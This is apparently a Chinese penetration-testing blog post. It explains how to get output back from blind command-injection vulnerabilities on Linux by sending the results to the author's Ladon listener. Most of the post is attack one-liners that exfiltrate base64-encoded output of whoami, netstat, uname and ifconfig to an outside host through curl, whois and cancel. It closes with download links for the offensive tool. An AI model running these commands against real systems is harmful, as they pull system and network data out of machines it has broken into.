logo

K8哥哥

没有绝对安全的系统

无回显命令执行漏洞之Linux渗透

前言

很多时候命令回显漏洞由于一些特殊原因,无法构造或不方便构造回显,上回讲到JAVA反序列化漏洞Ladon回显方法。本文针对Linux系统实现命令执行漏洞回显方法,虽说JAVA跨平台但并不代表所有系统都预装有JAVA,实际上.NET一样是跨平台的,前提都要系统安装才可以,那么对于未安装JAVA的机器或非JAVA程序产生的命令执行漏洞,如何实现命令回显,将是本文讲述的重点。JAVA篇:http://k8gege.org/Ladon/web_javarce.html PowerShell篇:http://k8gege.org/p/Ladon_ps1_echo.html

启动WEB

1
Ladon web 800

PS: 建议使用8.3以上版本,以免部分命令回显结果导致Ladon崩溃

参数

1
2
3
4
5
/ip.txt or ip.jpg        Get Target WanIP
/getstr/AnyString Get Request String
/getb64/AnyString Base64 Encode (Request String)
/deb64/Base64String Base64 Decode (Request String)
/deb64txt/Base64String Base64 Decode Save TXT

浏览器回显

由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。

明文回显

http://192.168.1.43:800/getstr/cve2020

Base64回显

http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=

保存txt

http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=

image

curl回显

命令回显

1
curl http://192.168.250.21:800/getstr/`whoami`

Base64回显

1
curl http://192.168.250.21:800/deb64/`whoami|base64`
1
curl http://192.168.250.21:800/deb64/`netstat -an|base64|tr '\n' '-'`

PS:Base64回显会多出-符号,导致8.2无法解密,Ladon 8.3已完美兼容

Whois回显

Ladon 8.3的Web或Gui版的NC均可回显,无论是否BASE64加密,Ladon均可完美支持

1
2
3
4
5
root@kali:~/Desktop# whois -h 192.168.250.27 -p 800 `uname -a|base64`
Timeout.

root@kali:~/Desktop# whois -h 192.168.250.27 -p 800 `uname -a`
Timeout.

Ladon nc回显

image

Ladon Web回显

image

cancel回显

1
root@kali:~/Desktop# cancel -u "$(ifconfig)" -h 192.168.250.27:800

cancel明文回显结果在Brequesting-username和”my-jobs之中

image

小结

本文主要使用Ladon的WEB与NC实现回显,实战中很多机器可能并不能DNS解析,意味着DNSLOG方法无效,但是Ladon可以完美解决DNS不解析导致DNSLOG失效的问题。

Download

LadonGo (ALL OS)

https://github.com/k8gege/LadonGo/releases

Ladon (Windows & Cobalt Strike)

历史版本: https://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
8.3版本:K8小密圈

扫码加入K8小密圈